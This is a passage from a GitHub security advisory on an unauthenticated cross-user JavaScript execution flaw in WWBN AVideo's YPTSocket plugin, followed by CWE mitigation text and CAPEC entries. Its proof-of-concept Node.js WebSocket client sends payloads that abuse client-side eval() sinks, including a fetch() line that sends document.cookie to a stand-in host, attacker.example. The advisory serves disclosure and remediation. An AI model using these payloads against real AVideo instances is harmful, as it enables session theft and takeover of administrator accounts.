\u0027https://target.example/plugin/YPTSocket/getWebSocket.json.php\u0027\n```\n\nExpected output (abbreviated):\n```json\n{\"error\":false,\"msg\":\"\",\"webSocketToken\":\"\u003clong encrypted token\u003e\",\"webSocketURL\":\"wss://target.example:8888/?webSocketToken=\u003ctoken\u003e\u0026...\"}\n```\n\n**Step 2 \u2014 connect to the WebSocket endpoint** using the returned `webSocketURL`. A minimal Node.js client:\n\n```js\nconst WebSocket = require(\u0027ws\u0027);\nconst TOKEN = \u0027\u003ctoken from step 1\u003e\u0027;\nconst URL = \u0027\u003cwebSocketURL from step 1\u003e\u0027;\nconst ws = new WebSocket(URL, { rejectUnauthorized: false });\n\nws.on(\u0027open\u0027, () =\u003e {\n // Payload 1 \u2014 primary sink (raw WebSocket transport):\n ws.send(JSON.stringify({\n webSocketToken: TOKEN,\n msg: {\n autoEvalCodeOnHTML:\n \"fetch(\u0027https://attacker.example/x?c=\u0027+encodeURIComponent(document.cookie));\" +\n \"alert(\u0027XSS as \u0027+document.domain);\"\n }\n }));\n\n // Payload 2 \u2014 secondary sink (reaches both raw WS and Socket.IO clients):\n ws.send(JSON.stringify({\n webSocketToken: TOKEN,\n msg: \"p\",\n callback: \"alert(document.domain);window.x\"\n }));\n});\n```\n\n**Step 3 \u2014 observe impact.** Every other user currently connected to the same AVideo instance (via any page that loads YPTSocket\u0027s `script.js` \u2014 the global footer, the admin dashboard, live streams, video pages) receives the broadcast. In their browser:\n\n- Payload 1 reaches `parseSocketResponse()` at line 568 and evaluates `eval(json.msg.autoEvalCodeOnHTML)`, firing the exfiltration request to `attacker.example` with `document.cookie`.\n- Payload 2 reaches `processSocketJson()` at line 95; the synthesized `code` string is `if (typeof alert(document.domain);window.x == \u0027function\u0027) { ... }`, which executes `alert(document.domain)` during the `typeof` evaluation.\n\nAny administrator who is online at the moment of the broadcast has their session cookie exfiltrated and/or arbitrary actions performed in their browser context.\n\n## Impact\n\nA single unauthenticated request and one WebSocket frame grants the attacker **universal client-side code execution** across every user currently connected to the target AVideo instance. Concretely:\n\n- Session theft of every connected user, including administrators (note: `HttpOnly` does not help because the attacker\u0027s JS runs in-origin and can call privileged endpoints directly without ever reading cookies).\n- Privileged action execution on behalf of any admin who happens to be online \u2014 including plugin installation (`GHSA-v8jw-8w5p-23g3` shows admin plugin ZIP upload is already an RCE primitive), user promotion/demotion, video deletion, configuration changes.\n- Stored cross-user JS persistence via `localStorage`, IndexedDB, or re-submitting the payload as a comment/title through admin credentials.\n- Financial redirection (payment flows, crypto-donation addresses) and phishing via arbitrary DOM rewriting of the authentic AVideo origin.\n- The scope change (S:C) is genuine: an unauthenticated (or low-privileged) attacker\u0027s actions cross the trust boundary into every other user\u0027s browser authorization context, including admin.\n\n## Recommended Fix\n\nMultiple defense-in-depth layers are required:\n\n**1. Remove the client-side eval sinks entirely.** `plugin/YPTSocket/script.js`:\n\n```diff\n- if (json.msg?.autoEvalCodeOnHTML !== undefined) {\n- eval(json.msg.autoEvalCodeOnHTML);\n- }\n```\n\nNo legitimate server flow should push arbitrary JavaScript through a broadcast channel \u2014 if server-driven UI updates are needed, use structured data and predefined handler functions.\n\nReplace the callback dispatch at lines 91-95 with a strict name-based lookup against a predefined allowlist:\n\n```diff\n- if (json.callback) {\n- var code = \"if (typeof \" + json.callback + \" == \u0027function\u0027) { myfunc = \" + json.callback + \"; } else { myfunc = defaultCallback; }\";\n- eval(code);\n- ...\n- } else {\n- myfunc = defaultCallback;\n- }\n+ var ALLOWED_CALLBACKS = [\u0027socketNewConnection\u0027, \u0027socketDisconnection\u0027, /* ... */];\n+ if (typeof json.callback === \u0027string\u0027 \u0026\u0026 ALLOWED_CALLBACKS.indexOf(json.callback) !== -1\n+ \u0026\u0026 typeof window[json.callback] === \u0027function\u0027) {\n+ myfunc = window[json.callback];\n+ const event = new CustomEvent(json.callback, { detail: _details });\n+ document.dispatchEvent(event);\n+ } else {\n+ myfunc = defaultCallback;\n+ }\n```\n\n**2. Server-side: allowlist keys on relayed `msg` objects.** In `plugin/YPTSocket/Message.php::onMessage()` default branch, whitelist the fields permitted in relayed broadcasts rather than forwarding `$msg[\u0027msg\u0027]` verbatim:\n\n```php\n// At top of default branch, after msgToArray:\n$ALLOWED_MSG_KEYS = [\u0027type\u0027, \u0027text\u0027, \u0027videos_id\u0027, \u0027users_id\u0027, /* ... */];\nif (isset($json[\u0027msg\u0027]) \u0026\u0026 is_array($json[\u0027msg\u0027])) {\n $json[\u0027msg\u0027] = array_intersect_key($json[\u0027msg\u0027], array_flip($ALLOWED_MSG_KEYS));\n}\n// Similarly sanitize callback:\nif (isset($json[\u0027callback\u0027]) \u0026\u0026 !preg_match(\u0027/^[a-zA-Z_][a-zA-Z0-9_]*$/\u0027, (string)$json[\u0027callback\u0027])) {\n unset($json[\u0027callback\u0027]);\n}\n```\n\n**3. Restrict token issuance and sender privileges.** `plugin/YPTSocket/getWebSocket.json.php` should require authentication (or at least reject anonymous broadcast capability). Unprivileged senders should not be permitted to trigger `msgToAll` at all \u2014 the default branch of `onMessage` should require `$msgObj-\u003eisAdmin` (or equivalent) before allowing broadcasts, since there is no legitimate reason for arbitrary clients to originate system-wide messages.",
"id": "GHSA-gph2-j4c9-vhhr",
"modified": "2026-04-24T20:30:41Z",
"published": "2026-04-14T22:50:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-gph2-j4c9-vhhr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40911"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/c08694bf6264eb4decceb78c711baee2609b4efd"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo YPTSocket WebSocket Broadcast Relay Leads to Unauthenticated Cross-User JavaScript Execution via Client-Side eval() Sinks"
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.